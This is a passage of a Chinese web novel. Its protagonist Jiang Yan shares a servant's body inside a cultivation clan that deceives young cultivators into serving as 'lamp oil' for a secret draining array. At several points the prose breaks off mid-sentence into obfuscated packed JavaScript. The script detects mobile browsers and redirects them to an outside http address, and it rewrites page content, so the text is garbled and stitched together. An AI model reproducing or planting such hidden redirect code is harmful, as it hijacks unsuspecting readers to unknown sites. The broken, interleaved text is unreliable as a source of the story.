是一处古风院落,看起来似乎刚刚经历了一场恶战,院中牡丹零落,树木倾倒,就连墙壁和青石板的地砖上,都布满了兵器划过的痕迹。 江晏:…… 这个环境的感觉,如果不是在摄影棚这种地方,那排除了两个穿越世界的答案之后,唯一的可能性,应该是他的原世界了。 江晏奋力搜寻了一下脑海中关于这段记忆的画面,搜索失败。 那么现在摆在他面前的有两个可能: 第一种,他附在了不是当时的江晏身上。 第二种,这是他失忆的那段记忆。 第三种,以上两种情况的结合。 江晏开始好奇了。 他开始仔细打量这个世界。 嗯……突然发现现在的视角不太对劲呢,为什么他能看清青石板地砖上的划痕? 当然是因为他就躺在上面! 江晏大惊,第一个世界的教学楼给他的阴影太大了,于是他反应居然是—— 我不会穿成地砖缝里的杂草了吧! 啾啾的声音在他意思海中响起:“是人,没事,别瞎想。” “你刚才在心里的哀嚎声实在是太大了,我被迫听见你幻想自己成为一颗草的胡言乱语。” 听了啾啾的话,江晏渐渐平静下来:“是人……那就好,欸,不对。” 他语气中带着一丝难以置信:“我的底线已经降到如此地步了吗?这里明明看起来经过了一场混战,现在这个身体又倒在地上,该不会是要马上死掉了吧!” 啾啾:…… “应该不会吧。”小鸟的声音听起来很是心虚。 江晏用意识闭上眼睛,在心里深吸了一口气,试图平静下来。 这时,他视线里出现了一双男子穿的锦鞋,远远地从门口处踱到了院子里。 这个身体没有转头,只是眼珠转了转,去看那来人。 于是江晏也看清了他的样子。 一个面容还算俊美,偏瘦的男人。 不知为何,江晏感觉此人有些面熟。 那男人的目光很冷,他扫了一圈院子里倒下的仆役们,冷声问:“跑了?” 一名肩膀处有血迹的仆役匆忙上前,单膝跪地,头埋得很深:“是我们没用。” 男人从鼻子里喷出来一口气,冷漠道:“一群废物。” 那跪在他面前的仆役头埋得更低了,身体甚至微微发起了抖。 锦衣华服的男人看着远方,语气无悲无喜:“你们把一个百年难遇的优质‘灯油’放跑了。” 江晏心中隐约浮现了疑惑,修真界里应该没有“灯油”这个术语,男人说的话听起来,像是什么黑话。 他如果有实体的话,应该是皱着眉头继续看着。 男人最终说出了惩罚:“嗯,那你们就代替他,都去油室好了。” 那跪着的人猛然抬头,一时间竟是胆大了起来,甚至想抬手去拉那男人:“家主,求您了,只要不去油室,怎样都行!” 男人当然没有理会他。 他只是站直了身子拍了拍手,院子里便瞬间涌入另一批仆役,将满院倒在地上的人一一拉起拖出去。 江晏感到身体动了动,视角似乎比刚才高了一些——显然,他即将被送到那叫“油室”的地方。 他心里有点没谱,问啾啾:“我附在别的的身体上,他受伤了,我会感觉到疼吗?” 啾啾:“当然会啊,这好像还不能屏蔽的。” 江晏:? 不是,渡劫被雷劈的疼他也就忍了,但为什么还要遭受不认识的人所遭受的疼痛呢。 看着眼中的景色一点点后退,江晏有点崩溃。 那锦衣男人看着众人,突然视线和江晏对上了。 然后江晏看到对方明显一愣,随后对正拉着他的仆役做了一个停止的手势。 于是那让人内心充满了前途未卜的不安的拖拽停下了。 男人走到他面前,问:“夫人屋子里的?” 江晏感到自己的身体点点头。 在他点头之后,男人略显暴躁地低骂了一句,接着挥手,道:“除了他,都送去油室。” 又对着压着江晏的仆役道:“送到夫人那边,今日的情况不必让她知晓。” 那两位仆役便真的抬着他,去了男人语中的“夫人”那边。 家主夫人没有和男人住在一起,她单独住在一处院子里,叫栖霞苑。 在去栖霞苑的这一路上,江晏大概看出来了,他现在正在一个修真世家里。 不是跺跺脚整个修真界都能抖三抖的大世家,但作为一座城的翘楚,还是可以的。 江晏就这样被送到了栖霞苑里仆役的住处。 苑里安安静静的,没什么人走动,空气中似乎弥漫着不知名的草药气息。 这个身体的住处似乎比其他仆役们好些,不是大通铺,而是住在一个五步距离见方的双人间里。 但另一张床上没有被褥,看来所谓的双人间也只有他一个人住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902379|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条件还算不错。 江晏看着头顶的木屋顶,一边思考现在是修真界的哪个年代,一边思考自己现在的身份。 他本以为这个身体的主人会先处理身上的伤,没想到这具身体在静静躺了一柱香的时间后,突然弹起来,在床边的柜子上抓起一面铜镜就对着自己照。 已经穿越过两次,对此套动作很熟悉的江晏:? 他几乎是立刻理解了这个身体的意图,大惊:“啾啾,这到底是怎么回事?!” 等不及啾啾回答,江晏透过这具身体的眼睛,在铜镜里看到了一张少年的脸。 平心而论,长得颇为端正,浓眉大眼,鼻梁高挺,睫毛有点长,猛一看,还有几分乖巧。 但是,江晏并不认得这张脸。 这具身体似乎也不认得。 江晏感到他抬起手,摸了摸铜镜,转而放下铜镜,摸上了自己的脸。 两只新魂困在这具身体里,在床边坐在,沉默良久。 最后,江晏听到这身体开了口,声音低低的,微微有些哑:“……居然还活着,可惜,没有跑出去。” 这少年又坐了一会儿,起身撩起衣服检查了身上的伤后,便开始探索这间屋子。 江晏能感受得到,他伤得不重,毕竟少年翻箱倒柜的力气很大。 他便和少年一起统计了一下这个仆役目前所拥有的财富。 几块碎银,几块普通灵石,几瓶普通丹药,一条赤火藤,还有一些衣物。 和一份仆役持有的身契。 江晏看了看,才知道这少年是何夫人在出阁时从母家宗氏带到何家的。 也怪不得刚才的何家主不敢动他。 少年没有名字,契书上只写了“小十”。 估计是主家给他起的名字。 小十的身体应该有一些修为,少年催动灵力后,身上出现了浅红色的火苗,包裹住了他,慢慢修复着身上的伤口。 江晏对啾啾说:“嚯,还是个火灵根啊。” 啾啾:“嗯,但是你看出来这是什么时候了吗?” 江晏的意思体看着那被翻出来的,摆在桌上的身契:“我好像想起了一点点了。” “我从前在竹城入的宗门,在参加宗门大选之前,打了一段时间小工,这也就是我记忆开始的地方。” “竹城,好像确实有一个姓何的修真世家。” 江晏的语气渐渐变得迟疑了:“我能对何家有印象,是说他们家突然变得很奇怪。” “可以连着几个月没有人外出,有好事者偷偷从小门缝看去,见何家无论是主家还是仆从,都行动迟缓,目光呆滞。” “当时这个传言很厉害,给我讲故事的嬢嬢还是半夜给我说的,气氛给足了,所以我记到了现在。” 啾啾:…… 江晏继续道:“后来的事我可是都记得呢,我入了合江宗,过了几年后,我去出外面的第一个任务时,下山路过竹城。” “听见有人说,何家早就没了。” “有一天,久闭的的何家大门终于打开了,但里面静悄悄的,连虫鸣也没有。” “众人按捺不住好奇,结伴进去,结果发现里面所有的人都是木头做的假人!” “里面的家具衣服全烂了,已经不知道被腐蚀了多少年了。” “他们说,这分明是一座鬼居了。” 69. 夫人 江晏说完了,等着啾啾发表意见。 果然,啾啾沉吟片刻:“那现在应该是还没有出事的时间点。” “得看你这个身体什么时候离开这里了,如果一直呆在这,怕是凶多吉少。” 江晏沉思片刻,语气变得古怪起来:“……那这个身体死后,我会前往下一个小世界吗?” 啾啾跳了跳:“不一定啊,你如果在这段时间产生的能量不够,那就不好说了。” 江晏:“……行吧。” 他和啾啾说话间,小十收拾东西的动作逐渐停了下来。 江晏看到他坐在镜子前,咧了咧嘴角,露出一个皮笑肉不笑的表情。 小十自言自语道:“原来这样啊。” “不管我有没有逃出去,那逃出去的东西又是什么,总之,我确实还在何家。” 他轻笑起来:“左门旁道的邪术,应该很容易被反噬吧。” 说完,他居然拉开了房门,走出了栖霞苑。 江晏:“……他要干啥,听了他的话我怎么感觉不太妙。” 啾啾:“你刚才不是说了何家的下场吗,估计是整个家族的修炼方式有猫腻。” 江晏“嘶”了一声:“对啊,所以这个身体现在要干什么!” 啾啾平静道:“估计是何家从前用来催动邪术的祭品吧……你应该也听见他说的什么逃没逃出去了。” 江晏皱眉:“我当然知道,只是我感觉这小子在憋大招。” 江晏想得确实不错,小十直奔何家藏书阁而去了。 居然还被守卫放了进去。 江晏想,小十虽然是家主夫人的仆从,但这地位似乎也实在高了些。 但小十的地位就是这么高,江晏见他在藏书阁里翻找一番后,兴致缺缺下了楼,离开时,那几名侍卫还对他问了好。 想来,那位家主夫人也有一点来头。 这么一通折腾后,天色已经不早了,如江晏所料,小十果然没有再去其他地方,而是又回到了栖霞苑。 此时金乌欲落,整个竹城笼罩在落日的余晖中,栖霞苑比小十离开时热闹了些,几个侍女扶着一位浑身绮罗珠宝的夫人散步,后面跟了一排的丫鬟。 那夫人容貌清丽,让人一见难忘,只是脸上有几分病容。 夫人见小十回来了,对他招招手:“过来,今日可是去哪里了?” 小十便过去了,站定了,行了个礼,道:“有灯油逃跑了。” 夫人的眼神变得晦暗起来。 她道:“老爷院子里的人带你过去办事的?人可抓住了?” 小十说:“是的,但人跑了。” 夫人笑了笑:“老爷要气死了吧,这可是这么多年来第一个跑掉的。” 这话实在不好接,小十低着头,没有说话。 夫人也没指望着他接这句话,她又问:“那你今天之后去哪里了?” 小十这才道:“没抓住灯油,老爷说我们要加强修炼了,下午我便去了藏书阁,想学些东西。” 夫人定定地看着他,江晏即便是隔着小十的灵魂,也心虚起来。 小十也在心虚,江晏感到他在悄悄地扣手。 夫人最终收回了目光,平静道:“该学的学,不该学的别乱学,万事有报应。” 小十不敢多说什么,低着头嗯了一声。 他的态度得了夫人放心,夫人又说:“我想看看大小姐去。” 一位侍女听了,忙道:“风凉了,我为夫人取外衣来。” 说完迈着碎步入了内室。 另一位侍奉在夫人身边的侍女则道:“夫人也好久没看大少爷了呢。” 江晏见她说完这句话后,在夫人后面几步远的地方随行的丫鬟脸色都变了。 夫人脸色也微变。 那侍女却像没看到一样,还在自言自语:“虽说大小姐还年幼需要爹娘多陪伴,但大少爷现在修为进步很快,也希望多得娘亲的肯定呢。” 夫人的脸色彻底沉了下来。 江晏几乎没看清她是怎么动的,只见一团绿色的灵力爆发出来,将这话多的侍女打倒在地上。 后面的丫鬟稀里哗啦跪了一地。 江晏在小十的身体里,感受到了他下跪的动作。 那去内室去外衣的侍女甫一返回来,见到的就是这种场面,吓得也连忙跪下来。 家主夫人咳了一声,声音低低的,对那侍女道:“你不必再我面前伺候了,滚回你原来的主子那里。” 那侍女哆哆嗦嗦应了一声。 夫人又说:“别急着走,给何照山捎句我的话。” 何照山正是何家家主的名字,就是江晏见到的那锦衣男子。 夫人说:“儿子已经被他养坏了,这事我已经无力计较了。” 她的声音突然扬起来:“但若是敢动我女儿,让她学那些乱七八糟的,要死大家一起死!” 众人瑟瑟发抖,谁也不敢弄出额外的动静。 那被何照山塞到栖霞苑的侍女连滚带爬地跑了。 她走后,苑里众人依旧跪着,四周安安静静,能听见夫人被气得喘气的声音。 江晏暗暗想着,对于一名修真者而言,何夫人的喘息声,似乎是有些大了。 此时,那拿着外衣的侍女终究是壮着胆子站了起来,凑到何夫人旁边,给她披上外衣,小声道: “夫人,身体是自己的,莫为那些人事生气了。” 何夫人闭了闭眼,深深吐出一口气,对众人抬了下手:“都起来吧。” 众人便安安静静地站起来。 夫人身边的侍女觑着她的神色,试探地问:“夫人还要去看大小姐吗?需要谁跟着?” 夫人疲惫地点点头:“我不放心,自然是要去的。” 她的目光在院子里扫了一边,最后定在江晏身上。 她说:“小五,小十,你们一起跟着,其他人不必了。” 原来那给她那外衣的侍女叫小五。 江晏想着,看这如出一辙的取名方式,估计小五也是家主夫人从本家宗氏里带过来的。 他跟着夫人和小五,一路来到了另一处院落,凤鸣居。 栖霞苑和凤鸣居相隔不远,再往东一点,才是家主和大少爷的住处。 江晏跟着夫人进了凤鸣居。 一个穿着红裙的女孩子冲了出来,抱住了夫人的大腿。 夫人蹲下身,拍了拍她的头。 从刚才侍女的话中,江晏能听出来大小姐年龄不大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而至于江晏……他正在这个身体里,被迫陪着小十站在院子里。 江晏有点崩溃:“我怎么感觉控制身体的这个魂魄有点呆呆傻傻的,他杵在这里总发呆是要干啥啊。” “栖霞苑里又不是只有他一个男守卫,他去歇着呗。” 啾啾无奈:“不是随便一个人的内心都像江峰主一样这么强大的。” 江晏瞪它。 啾啾说:“这孩子肯定是从哪里附到小十身上的,估计现在心里慌得很。” “他得多在外面待待,这意味着能收集新环境的信息,给他安全感。” 江晏挠头:“……可我也不记得我之前这样啊。” 啾啾白了他一眼:“失过忆的人对这种问题没有发言权。” 江晏耸耸肩:“好吧。” 他被迫陪着小十坐在栖霞苑的屋顶上,一轮圆月在他头顶高悬。 风中带来何家人说话的声音,还有更远处凡人的捣衣声。 江晏神魂的眼睛转了转,问啾啾:“你说,如果我被一家修邪术的人抓住了,侥幸逃脱,换了个身份留在他家里……” “那么下一步,我会怎么做呢。” 70. 符修 意识海中,啾啾飞到了江晏的头顶上:“别卖关子了,你直接说你想干什么吧。” 江晏低头看着偌大的何府,说:“要么是收集证据,上报给大宗门;要么我先研究研究,看看怎么以其人之道,还治其人之身。” 啾啾问:“那不跑吗?” 江晏摊手:“现在这个身份不好跑啊,家主夫人的侍卫不明不白地没影了,不得查一查吗。” 啾啾:“也是。” 江晏在小十的身体里吹着小凉风:“我看这小朋友也没有跑的打算,估计他的选择和我一样。” 竹城灯火点点,映在江晏和小十的瞳孔里。 江晏说:“看他怎么办了。” 竹城的灯火暗了又亮,几日过去,小十表现得如同任何一个普通又合格的侍卫。 他会按照值班表,每天晚上在栖霞苑里当值。 而在白天的时候,则是遵从了家主夫人的嘱托,去凤鸣居陪着何采玉。 寸步不离。 何采玉六岁了,在上午有老师给她讲课。 江晏和小十一起听着,内容无非是一些文化常识,和修真入门。 在下午,则是连一些基础剑法,去藏书阁看书。 江晏看着,采玉毕竟还小,自己挑来看的书无非是一些话本。 按理说是没什么的,只是何家背后的事情有些麻烦。 何夫人的目的很明确,让小十跟着采玉,防的就是在何家这么大一个不修正道的环境下,有人带坏了采玉。 跟着就跟着呗,江晏想,正好可以趁这个机会看看何家的藏书。 要知道,很多修仙家族的藏书都是不对外开放的,而现在小十能跟着采玉进藏书阁,和何家的大部分地方,真的是再方便不过了。 显然小十也是这么想的。 在他跟着采玉最初的一个月里,他常和采玉一样,窝在藏书阁看书。 他看什么,江晏就被迫看什么。 最初,江晏看着面前一行行文字,很是沉默。 江晏:“……这小子怎么看的都是一些修真入门的?” 这具身体的手翻过一页,江晏语气有点颤抖:“他怎么还要学几大灵根啊,这是什么都不会啊!” 啾啾道:“淡定,淡定,你在竹城那段时间不也是零基础入门吗?” 江晏无奈:“我是在担心他别露馅连着把我害死……这位不知道从哪里来的小朋友看来根本没系统学习过修真的知识,这点放在从宗氏出来的家仆身上是非常不合理的。” “可别让家主夫人看出来了,”江晏看着面前的几本书,“他最好提前找一个合适的借口。” 占据了小十身体的灵魂很聪明,他和江晏的想法一样。 某天晚上,他从凤鸣居回到栖霞苑的时候,何夫人问他:“听说你近日在藏书阁看一些……非常基础的书?” 江晏面无表情对啾啾说:“要是我,我就说是为了防止有人别有用心在采玉的读物里放点什么东西。” 然后他听见自己后半句和话音和这具身体的声音同频了。 江晏:?? 他有点惊讶,有点欣慰,同时作为一名峰主的老毛病犯了。 江晏用很是欣慰的语气道:“此子必成大器!要是他能在我合江宗门下……” 啾啾无情地打断了他的幻想:“停,按照你之前说的何家覆灭的时间线,你俩应该差不多大,别想了。” 江晏反驳:“年龄相仿又如何入不得合江宗?闻道有先后罢了,等我回到原世界,希望能见见他。” “毕竟——能接话茬还能接到老师心坎上的学生,难得啊。” 啾啾:…… 而此时站在小十面前的家主夫人,非常欣慰地认同了他刚刚所说的话,并鼓励他一直保持下去。 江晏心情复杂。 虽然没有引起夫人怀疑是一件很值得高兴的事情,但一想到还要被迫阅读那些基础到不能再基础的书…… 心情又没那么美妙了。 还好,占据着小十身体的不知名魂魄的学习能力比较强。 他卡在了江晏崩溃时间边缘,用了一旬半的时间,阅读了那些基础书籍。 按道理来说,修士入门到这个阶段,后面会一边练剑,一边会学习其他的内容,最后挑一个顺手的作为以后专修的选择。 啊,你要问什么是专修,专修都有哪些? 那就是常说的剑修、法修、丹修、符修等等。 现在,在小十面前延伸出很多条分支。 江晏感觉自己的灵魂看着他,想: 他是不会选剑修的。 剑修费钱,江晏也是在进入合江宗之后,才被分到剑修一系的。 果然不出江晏所料,小十最后拿了一本画符的书。 在接下来的日子里,江晏的日子便换了一种难过法。 ——他不得不跟着身体的动作,在小木片上画符,刻符。 这看起来简单,但一笔一划间都要注入灵力。 小十在第一次刻符的时候,不过刻了指甲盖长的距离,手已经抖得不成样子,最后只能撤了笔刀,使劲喘气。 江晏看着,对啾啾道:“我心理平衡了许多。” 啾啾:? 江晏看着小十再次拿起了刻刀,说:“……所有修真者都要平等地遭受一番这种痛苦。” “这种费劲巴拉做出来一坨鬼东西的体验,啊。” “这种一眼看不到头,也看不到什么进步的漫长日子,哈哈。” 啾啾无语:“行了,你的峰主风范呢。” 江晏无所谓道:“反正我的徒弟们也听不到,是吧……啊!” 他小声叫了一下。 啾啾有点紧张了:“你怎么了?” 江晏摆手:“没事,是这个身体把手划了。” 在江晏和小十的共享视野中,刻刀和木屑凌乱地散在桌子上。 小十右手捂着左手,指缝间隐约看到鲜红的血迹。 江晏:“我收回刚才的话……他把手捂得好紧,又流着这么多血……” 他有点崩溃道:“这孩子不会不小心铲了一块肉下来吧!” 小十渐渐松开了手。 江晏看了看,伤得不算严重,但能看出长长一条刀口顺着食指延伸到了手背上。 小十用纸擦了擦,继续刻起来。 江晏难得地沉默了。 画符刻符的学习周期比学修真入门要长了很多,一连几个月,小十都在研究这些。 当然,在家主夫人和何采玉不知道的地方,小十也研究了其他东西。 ——他研究了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这大门之后,是一条幽深的走廊,走廊两边点着灯,烛光摇晃。 空气中弥漫着一股难以形容的香气,江晏感到,小十悄悄屏住了呼吸。 他向前走着,越过走廊里一扇又一扇关闭的门。 江晏看着,每一扇门上面都有编号,这些编号,有的是绿色,有的是红色,还有棕色和白色。 江晏看不太懂,但也能猜到这应该是用来标记灯油状态的。 小十走啊,走啊。 江晏经过无数个不同的门。 小十的的身体是有一些修为的,江晏能听到那些门后面的声音。 有人睡着,呼吸平稳。 有人在看书,手指与纸张发出窸窸窣窣的摩擦声。 也有人在尖叫。 江晏感到小十的目光在那个尖叫的房间上多停留了几秒。 主管人注意到了,笑道:“这位一直是这样,虽然看起来不稳定,但灵根不错,我们就一直养着了。” 小十平静地看了主管人一眼,转过身,停在了这尖叫房间旁边的一间屋子。 71. 灯油 江晏从小十的视线里看到,这间屋子的门上,编号是贰佰壹拾肆。 白色的字。 小十盯着那编号:“这间屋子闲置了?” 主管人道:“那可不是嘛。” 一边说着,他一边推开房间门:“虽说那位逃走之后是可以再安排灯油住了,但高级灯油住的房间又要上报给家主。” “家主一看到这编号,肯定会想起那位,就会心情不好,连带着我们倒霉。” 小十便无声地笑了。 随着主管人彻底把房门打开,屋子中的一切出现在江晏眼前。 这是一件装潢中上的房间,红木地板与红木床具泛着温润的光;一旁是案几和书柜,上面堆了一些修习的书籍。 在屋子另一侧,是一道小门,江晏估计是通往洗漱之处的。 屋子是个好屋子,只是没有窗户。 小十看着这里,依然没说什么。 江晏一边观察,一边琢么着,这该不会是他作为“灯油”的时候的住处吧。 一旦有了这个猜测,江晏越想越觉得合理。 他正欲撩拨一番啾啾,此时主管人却又说话了——估计是见小十面无表情沉默良久,有些心慌。 他说:“哥,虽然他是品质最好的灯油了,但是我们真的没有各位给他加东西的!” “而且我们也很严格执行规则的,这些灯油都以为自己遇上了好人家,收留他们修习,最后挑选几个最好的留在家族里作为侍卫……” 小十用指节敲了敲门框,打断了主管人的话:“可是那个叫江晏的灯油还是跑了。” 一直在认真听现场的江晏:? 他忍不住了,大声叹道:“我勒个爷,这是……重名吧?” 啾啾怒道:“闭嘴!你影响我听他们说话了!这是竹城,一切都说不准……” 江晏在意识海中对啾啾比了个中指,转而乖乖去听二人谈话。 那主管人被小十质问,用袖口拭了把脸侧沁出来的汗,有些结巴了:“是在让他成熟时我们做戏没有做好……他作为一个灯油成熟地晚,而他认识的灯油中,有的人已经足够可以去油室了。” “但因为我们编的故事,在这些灯油眼中,被带去油室意味着被何家选中,成为侍卫。” “江晏的修为比那位已经成熟的灯油高,但我们没带走他……所以他感觉自己受到了不公平的待遇。” “然后,他悄悄尾随我们,估计是打算争取一下成为何家侍卫的机会。” “但是他见到的,是正在运行中的油室。” …… 小十的目光很奇异,但此时江晏没有心情管他。 因为江晏正对啾啾发出爆鸣。 啾啾无奈道:“……没事,反正你现在已经是合江宗的峰主了。” 江晏愤愤道:“你个人机!你根本不懂这种心情!” 他打算在回到原世界后好好翻一翻竹城这段往事。 小十听不到江晏和啾啾的话,他只是看着主管人。 主管人被他漆黑的瞳孔看着,不知怎地,打了个哆嗦:“这件事发生后我们对油室进行了升级!保证这种事不会再出现了!” 小十点头:“嗯,带我去看看。” 于是江晏又来到了油室。 刚刚的崩溃只是暂时的,他的理智逐渐回笼。 一来,不排除重名的可能。 二来,退一万步讲,即使自己真的曾经是何家的“灯油”,但何家现在已经化成灰了。 而他起码还是合江宗的峰主。 一切都过去了。 如此安慰自己一番后,江晏终于能再次将注意力放回小十身上。 看着小十大摇大摆地往“油室”里走着,江晏心中的一个猜测越来越清晰了。 ——小十在踩点。 “灯油”逃出后,何家对于他们住处以及油室的布置必有变化。 而小十的这张皮,是曾经“灯油”做好的伪装。 …… 主管人为小十推开了油室的大门。 江晏还未见里面景象,先闻到了一股奇怪的味道。 是一种有些甜腻和铁锈味掺杂在一起的味道。 江晏皱眉,这种味道让他感觉很不舒服。 他在小十的身体里,随着主管人的指引,继续向前走了几步。 这下他才看清了里面的景象。 和江晏想象中相反,屋子里并不昏暗,反而堪称明亮。 一扇巨大的落地窗就在他面前,窗前是一个矮几,上面对着一些册子。 透过窗子,能看到后面庭院里的花影摇曳。 窗子旁边还有一个正在燃烧中的香炉,江刚刚闻到的气味,有一部分就是来自这里了。 光看这些,倒是有些像凡世间贵族王侯们处理公务的地方了。 而显示着屋子与凡间不同的地方,就在案几的右侧了。 那是一处空旷的演武场,江晏顺着小十的视线扫过去,估计着大小相当于他修亭峰一个标准演武场的大小—— 长四十丈,宽三十丈,在周边还留出了不少席位。 而在演武场内部,更是十八般兵器一应俱全。 小十收回了视线,缓缓移到油室的左边。 这处倒是更像医室了。 数个高及天花板的木柜立着,江晏粗略一看,已经看出里面是各类药物。 有滋养灵脉的,有提升修为的,还有一些用于外伤内伤的。 小十看了看,又把目光转到主管人脸上:“你是说灯油不会再发现这里的秘密了?” 主管人点头,指了指案几:“我们复盘了一下,案几下面有个密道连着灯油的住处,置换法阵又是在案几地上的。” “这样,上次那个灯油摸到了密室入口,顺着跑过来到这里,第一眼就看到了法阵才跑的。” 小十“唔”了一声:“所以你们现在就是把法阵隐藏了,其他摆设没有动?” 小十的身份很有用,主管人一五一十地答着:“原来的法阵太明显了,我们把它挪到了房顶上。” 说完,用手指了指屋顶。 小十循着他的手看去,道:“似乎和普通房顶无异。” 主管人便笑了:“这就对了,为了防止灯油乱走到这里发现什么,我们把这里照着何氏弟子寻常的练功处布置的。” “只有在和灯油产生链接的灯,带着他的灯油一起进来的时候,阵法才会催动呢。” 小十靠在墙上,不置可否。 主管人又道:“今天这间屋子安排着大公子来修习,您也可以看看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902382|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江晏见小十沉默了数秒,问:“那个灯油不是跑了吗?” 主管人笑了:“是跑了个极品,但才跑了一个啊,还有好几个不错的灯油呢,足够大少爷用了。” 小十就又沉默下来。 主管人看了看日晷,对小十道:“哥,快到大少爷修习的时间了。” 小十“唔”了一声:“我在旁边看着就好。” 他便坐下来,对着案几,看着窗外的花影。 半柱香的时间后,似乎有什么声音从地下传来。 小十站起来,看着案几后的坐垫处。 不一会儿,只见地面上的红木板震了震,随后被一直手揭了起来。 ——那是一个高级仆役,他先看了眼油室,又对通道里面做了个请的手势。 这下便出来了个锦衣华服的公子,他还拉着一个少年。 江晏看着,这少年还被蒙着眼。 见了这场面,主管人和小十静静退后到了屋子角落。 那公子出来后,也环视了油室一圈,目光和二人装上后,微昂着下巴点了点头。 随后公子便不再理会二人,转身结下了少年蒙眼的丝带。 少年看着眼前的一切,眼神中有懵懂和狂喜。 江晏听见公子对少年说:“以后你就是我的陪练了,平时修习就在这里。” 说完,还拍了拍少年的肩。 少年眼中的狂喜几乎化为了实质。 而在油屋的角落,江晏感到,小十身上的肌肉绷紧了。 江晏叹气,对啾啾说:“能进这个地方,怕是救不了了。” “我起初还以为是直接把人绑过来,结果他们是直接骗啊。” “这些做灯油的,怕是到死都不知道自己是怎么死的。” “这么一套骗下来,算之前逃出来那个警惕性高。” 啾啾语气也不好:“这些年修真界已经很久没有人飞升了,看来是疯了不少修士,净想这些歪路子。” 一人一鸟说话间,那少年和公子已经在演武场上舞起了剑。 小十看着,江晏也看着。 只见那少年最初还是一个时辰休息一次,后面就变成了半个时辰修习一次,能坚持的时间越来越短,最后甚至竟变成了坚持不了半柱香的时间。 那少年趴在地上,气喘吁吁,仰头看着公子:“为何我今天表现如此不尽人意?” 公子对他伸出手,脸上笑意温和:“可能是何家功法的缘故吧。” “一开始练就是这样,过了这个阶段会好起来的。” 少年借着他的手站起来,又对他跪了下去。 …… 小十的视线从他们身上移开了。 江晏估计着是他不想看,不过没关系,不想看的不止小十一个。 他顺着小十转移的视线,去看天花板。 果然如主管人所说,天花板上隐约浮现出一个巨大的圆形阵法。 啾啾问:“你能看出来是什么吗?” 江晏无奈:“我是一个剑修……不过简单的阵法知识还是学过一点的。” 他用意识体指了指阵法其中几处:“这里,还有那里,这几个符号是吸收的意思。” “吸收,而不是交换。” “何家的问题大了。” 72. 机关 又过了片刻,公子带着那少年走了。 小十也走了,回到了栖霞苑。 江晏本以为小十后面会再去几趟油室,但他反而安静下来,如同何家里任何一个普通的侍卫,尽着守家的职责,每天往返于栖霞苑和凤鸣居。 他这样不作妖了,江晏反而不习惯了——他总感觉小十在憋着个大的。 江晏自然也与啾啾探讨过这个问题。 在藏书阁中,他在小十的身体里晒着太阳,一边看着身前读书的何采玉,对啾啾懒洋洋道:“你感觉他下一步会干啥?” 啾啾:“你怎么这么懒,自己想。” 江晏:“我又不是猜不出来,只是在这个世界闲得无聊,找你说说话罢了。” 啾啾飞上了他的头顶。 江晏摸了一把它的羽毛:“现在能确定何家在搞邪术,但不知道在搞什么邪术。” “这孩子应该是准备搞清这个问题,所以才一天到晚跟着采玉,往藏书阁跑。” 江晏想着这不算高的藏书阁:“……不过他要找的东西真的会在藏书阁里吗?” 不等啾啾回答,他很快自言自语道:“会的。” “据我这些日子的观察,如果他没有十分的把握,一定也会去其他地方寻找的。” “这孩子一直在藏书阁找,估计是听见了何家核心人物的谈话。” 江晏的意识体打了个哈欠,看着小十的身体站起来,去拿面前书架上的书。 ——是了,这些日子,他看着小十把藏书阁一半的书摸了个遍。 估计是在找机关。 何家的藏书阁比起合江宗自然不够看,但要是一个人一本本去试的话,也堪称一个浩瀚的工程了。 不知小十要做到什么时候。 更何况,小十还要守着采玉,时不时看看她的情况——毕竟小十现在明面上的身份是侍卫,如果采玉出了什么情况,他也就完全告别何家了。 更不用说在何家找线索了。 小十一本一本翻着书,采玉在他不远处,抱着本心法读着。 采玉还小,读了没一会儿,便放下书站了起来,向小十走过去,一边道:“哥哥,你在看什么呢?” 江晏听见小十叹了口气。 然后他转过身,蹲下,对着这个小姑娘道:“叫我小十吧,大小姐的哥哥是大少爷。” 采玉看着他:“但是,我很少见到哥哥啊。” 小十:“那是因为大少爷课业忙碌。” 他指了指采玉刚刚看过的书:“大少爷比小姐大,学的东西东西也比小姐多,所以您平时见他少些。” 采玉懵懵懂懂“噢”了一声。 小孩子的注意力总是容易被转移的,小十几句话后,采玉已经忘记了问他在做什么。 转而去摸书架上的书。 采玉身量小,她站起来能够到的地方,比小十正常够到的地方矮了很多。 江晏顺着小十的视线看去,采玉摸的地方,小十还没按照从高到低的顺序检查到。 那些书由于放在藏书阁的时间太久了,即使每天有人清理,也积了一层薄灰。 采玉便在猝不及防中摸到了满手的灰。 何家的大小姐平时吃饭都有四个丫鬟伺候着,什么时候摸到过这种脏东西? 当即被小小地震惊到了。 